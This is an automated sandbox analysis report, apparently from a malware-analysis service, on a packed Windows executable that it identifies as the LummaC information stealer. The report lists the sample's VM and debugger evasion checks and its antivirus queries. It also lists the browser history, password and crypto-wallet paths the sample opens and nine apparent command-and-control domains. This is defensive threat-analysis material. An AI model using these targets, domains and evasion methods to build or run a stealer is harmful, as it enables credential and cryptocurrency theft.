Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0065DF40	0_2_0065DF40
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005A5F24	0_2_005A5F24
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_004D3FA0	0_2_004D3FA0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_02A93988	0_2_02A93988

Source: C:\Users\user\Desktop\hthjjadrthad.exe

Code function: String function: 004FBD9C appears 123 times

Source: hthjjadrthad.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: hthjjadrthad.exe	Static PE information: Section: ZLIB complexity 0.9973668395748988
Source: hthjjadrthad.exe	Static PE information: Section: .data ZLIB complexity 0.9971177805843802

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\hthjjadrthad.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\hthjjadrthad.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: hthjjadrthad.exe, 00000000.00000003.2050020770.0000000003CA6000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2050312113.0000000003C89000.00000004.00000800.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2062447485.0000000003C8A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: hthjjadrthad.exe

ReversingLabs: Detection: 91%

Source: C:\Users\user\Desktop\hthjjadrthad.exe

File read: C:\Users\user\Desktop\hthjjadrthad.exe

Jump to behavior

Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: hthjjadrthad.exe

Static file information: File size 1268224 > 1048576

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\hthjjadrthad.exe

Unpacked PE file: 0.2.hthjjadrthad.exe.4a0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;Unknown_Section5:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;Unknown_Section5:EW;.data:EW;

Source: hthjjadrthad.exe	Static PE information: section name:
Source: hthjjadrthad.exe	Static PE information: section name:
Source: hthjjadrthad.exe	Static PE information: section name:
Source: hthjjadrthad.exe	Static PE information: section name:
Source: hthjjadrthad.exe	Static PE information: section name:
Source: hthjjadrthad.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005979C4 push 00597A51h; ret	0_2_00597A49
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00506054 push 00506080h; ret	0_2_00506078
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005A20FC push 005A2134h; ret	0_2_005A212C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0053A0F4 push 0053A120h; ret	0_2_0053A118
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0053A0BC push 0053A0E8h; ret	0_2_0053A0E0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00580160 push 0058018Ch; ret	0_2_00580184
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005DA124 push 005DA150h; ret	0_2_005DA148
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0051C12C push 0051C1D7h; ret	0_2_0051C1CF
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0051C1DC push 0051C26Ch; ret	0_2_0051C264
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00572194 push 005721C0h; ret	0_2_005721B8
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0053E194 push 0053E1CCh; ret	0_2_0053E1C4
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0055E2F0 push 0055E31Ch; ret	0_2_0055E314
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0055E290 push 0055E2C3h; ret	0_2_0055E2BB
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005DC348 push 005DC394h; ret	0_2_005DC38C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0055E33C push 0055E388h; ret	0_2_0055E380
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0055E394 push 0055E3DFh; ret	0_2_0055E3D7
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005A6394 push 005A63C0h; ret	0_2_005A63B8
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005D4388 push 005D443Ch; ret	0_2_005D4434
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0050E3A0 push 0050E400h; ret	0_2_0050E3F8
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005DC3A0 push 005DC3CCh; ret	0_2_005DC3C4
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005A047C push 005A04C8h; ret	0_2_005A04C0
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005F641C push 005F645Ah; ret	0_2_005F6452
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0057E55C push 0057E5B6h; ret	0_2_0057E5AE
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0050E578 push 0050E5A4h; ret	0_2_0050E59C
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0055C578 push ecx; mov dword ptr [esp], ecx	0_2_0055C57D
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_00662548 push 0066257Bh; ret	0_2_00662573
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005205C4 push 005205F0h; ret	0_2_005205E8
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0050E664 push ecx; mov dword ptr [esp], ecx	0_2_0050E667
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0050C62C push 0050C6A2h; ret	0_2_0050C69A
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_005866DC push 00586747h; ret	0_2_0058673F
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_0050E684 push ecx; mov dword ptr [esp], ecx	0_2_0050E687

Source: hthjjadrthad.exe	Static PE information: section name: entropy: 7.996796575455478
Source: hthjjadrthad.exe	Static PE information: section name: entropy: 7.847458728276635
Source: hthjjadrthad.exe	Static PE information: section name: entropy: 7.94106645050363
Source: hthjjadrthad.exe	Static PE information: section name: entropy: 7.842449506195032
Source: hthjjadrthad.exe	Static PE information: section name: .data entropy: 7.981701136395229

Source: C:\Users\user\Desktop\hthjjadrthad.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\hthjjadrthad.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\hthjjadrthad.exe

Window / User API: threadDelayed 470

Jump to behavior

Source: C:\Users\user\Desktop\hthjjadrthad.exe TID: 7296	Thread sleep count: 470 > 30	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe TID: 7296	Thread sleep count: 149 > 30	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe TID: 7316	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe TID: 7380	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\hthjjadrthad.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\hthjjadrthad.exe

Code function: 0_2_00522490 FindFirstFileW,

0_2_00522490

Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: hthjjadrthad.exe, 00000000.00000003.2186412920.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2186567782.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2186693933.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000002.2187474682.0000000000D02000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2048083097.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2144604405.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2094668994.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2144746440.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2047991830.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW/
Source: hthjjadrthad.exe, 00000000.00000002.2187295863.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWHB
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: hthjjadrthad.exe, 00000000.00000003.2186412920.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2186567782.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2186693933.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000002.2187474682.0000000000D02000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2048083097.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2144604405.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2094668994.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2144746440.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2047991830.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: hthjjadrthad.exe, 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: &VBoxService.exe
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: hthjjadrthad.exe, 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VBoxService.exe
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: hthjjadrthad.exe, 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: hthjjadrthad.exe, 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: hthjjadrthad.exe, 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VMWare
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: hthjjadrthad.exe, 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: hthjjadrthad.exe, 00000000.00000003.2062096242.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\hthjjadrthad.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\hthjjadrthad.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Users\user\Desktop\hthjjadrthad.exe

Code function: 0_2_004D9410 LdrInitializeThunk,

0_2_004D9410

Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_02A943A4 mov eax, dword ptr fs:[00000030h]		0_2_02A943A4
Source: C:\Users\user\Desktop\hthjjadrthad.exe	Code function: 0_2_02A94547 mov eax, dword ptr fs:[00000030h]		0_2_02A94547

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: hthjjadrthad.exe	String found in binary or memory: rapeflowwj.lat
Source: hthjjadrthad.exe	String found in binary or memory: crosshuaht.lat
Source: hthjjadrthad.exe	String found in binary or memory: sustainskelet.lat
Source: hthjjadrthad.exe	String found in binary or memory: aspecteirs.lat
Source: hthjjadrthad.exe	String found in binary or memory: energyaffai.lat
Source: hthjjadrthad.exe	String found in binary or memory: necklacebudi.lat
Source: hthjjadrthad.exe	String found in binary or memory: discokeyus.lat
Source: hthjjadrthad.exe	String found in binary or memory: grannyejh.lat
Source: hthjjadrthad.exe	String found in binary or memory: clockersspic.click

Source: C:\Users\user\Desktop\hthjjadrthad.exe

Code function: 0_2_005A7268 cpuid

0_2_005A7268

Source: C:\Users\user\Desktop\hthjjadrthad.exe

Code function: RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,GetLocaleInfoA,

0_2_00659208

Source: C:\Users\user\Desktop\hthjjadrthad.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\hthjjadrthad.exe

Code function: 0_2_00548CC0 GetTimeZoneInformation,

0_2_00548CC0

Source: hthjjadrthad.exe, 00000000.00000003.2144604405.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2144604405.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2144831144.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, hthjjadrthad.exe, 00000000.00000003.2144746440.0000000000D01000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\hthjjadrthad.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: hthjjadrthad.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: hthjjadrthad.exe, 00000000.00000003.2186412920.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: hthjjadrthad.exe, 00000000.00000003.2186412920.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: hthjjadrthad.exe, 00000000.00000003.2186412920.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: hthjjadrthad.exe, 00000000.00000003.2094668994.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":["*"],"z":"Wallets/JAXX New <
Source: hthjjadrthad.exe, 00000000.00000003.2094668994.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exod
Source: hthjjadrthad.exe, 00000000.00000003.2094668994.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exod
Source: hthjjadrthad.exe, 00000000.00000003.2186412920.0000000000CFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: hthjjadrthad.exe, 00000000.00000003.2094668994.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: hthjjadrthad.exe, 00000000.00000003.2094668994.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\hthjjadrthad.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
